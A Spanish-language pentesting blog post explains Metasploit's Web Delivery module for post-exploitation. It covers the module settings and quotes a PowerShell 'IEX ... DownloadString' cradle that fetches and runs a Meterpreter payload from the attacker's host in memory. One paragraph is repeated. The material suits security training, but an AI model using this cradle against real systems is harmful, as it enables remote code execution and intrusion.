He hablado mucho
sobre Metasploit y Powershell en los últimos años. He tenido la suerte de tener
diferentes formaciones en los principales congresos de seguridad, pero
siempre se aprenden cosas nuevas. Metasploit tiene una comunidad que hace que
el framework avance a una velocidad enorme, mientras que Powershell cada vez
puede hacer más y más cosas. Es un indispensable en la auditoría interna
moderna.
Hoy hablaremos del
módulo Web Delivery, el cual permite
desplegar mediante una petición web un payload
sobre una máquina concreta. En otras palabaras, si estamos haciendo uso de un Bypass UAC de Powershell y queremos
ejecutar un Meterpreter a través de Powershell podremos hacer una petición a
este servicio y obtener un Meterpreter en formato PSHell. También podemos obtener un payload para ser ejecutado en Python y en PHP, por lo que hace
fundamental conocer este módulo y su uso.
¿Cuándo se puede o
se debe utilizar Web Delivery? En un entorno de post-explotación, por ejemplo,
en un entorno de elevación de privilegio o un bypass UAC en Windows. Si se
parte de la situación de compromiso en una máquina, dónde el atacante tiene una
sesión o se está explotando una vulnerabilidad a través de la ejecución de un
exploit en Python, PHP o Powershell, Web Delivery proporciona
flexibilidad y sencillez.
¿Cuándo se puede o
se debe utilizar Web Delivery? En un entorno de post-explotación, por ejemplo,
en un entorno de elevación de privilegio o un bypass UAC en Windows. Si se
parte de la situación de compromiso en una máquina, dónde el atacante tiene una
sesión o se está explotando una vulnerabilidad a través de la ejecución de un
exploit en Python, PHP o Powershell, Web Delivery proporciona
flexibilidad y sencillez.
PoC: Explotación y obtención de Meterpreter con
Powershell
Partiendo del
escenario en el que se va a explotar una vulnerabilidad, puede ser una buena
técnica utilizar Powershell para lograr obtener un Meterpreter. En este caso,
la estrategia es la siguiente:
·
Se lanzará el exploit contra la
máquina remota.
·
El payload será una Powershell, la
cual se encargará de cargar un módulo externo. Este módulo externo será una
función de Powershell que se ejecutará con el objetivo de hacer una petición a
nuestro Web Delivery.
·
Una vez que nuestro servicio Web
Delivery haya obtenido la petición, responderá con el código del Meterpreter
para Powershell.
·
Todo, en memoria.
En primer lugar,
configuramos el módulo:
·
set TARGET 2. Con esto el payload que se
ofrezca será el de Powershell, en este caso una Meterpreter o el que indiquemos
en el atributo PAYLOAD de Metasploit.
·
Elección del Payload.
·
Configuración de LHOST y LPORT.
·
Lanzar el módulo en background.
Como se puede ver,
hay una instrucción que es importante. Nos proporcionan la instrucciónIEX
(New-Object Net.WebClient).DownloadString([IP]/URIPATH. Es importante, por
limpieza indicar que el URIPATH es /, en la imagen no se hizo y se ve un PATH
extraño.
Si nos fijamos en
la instrucción, vemos como se hace una petición desde la Powershell en
post-explotación para conseguir un Meterpreter a través de Web Delivery, en
formato adecuado. Este tipo de escenarios, son claros en los ejemplos de Bypass
UAC que podemos encontrar y de los que hemos hablado:
A continuación, se
puede ver el acceso a la sesión a través de la Meterpreter obtenida con Web
Delivery. Los usos son muchos y muy diferentes. Simplificación y manejo en la
mano del pentester.
Web Delivery es un
interesante servicio que encontramos en Metasploit y es que como comenté
anteriormente, disponemos de un gran número de funcionalidades, y cada día más,
que nos aportan mucha flexibilidad y mucho potencial. La integración entre
Metasploit y Powershell es una realidad y la potencia que ofrecen juntos es muy
grande. Todo pentester debe tener en cuenta esta unión, que es real desde hace
ya años.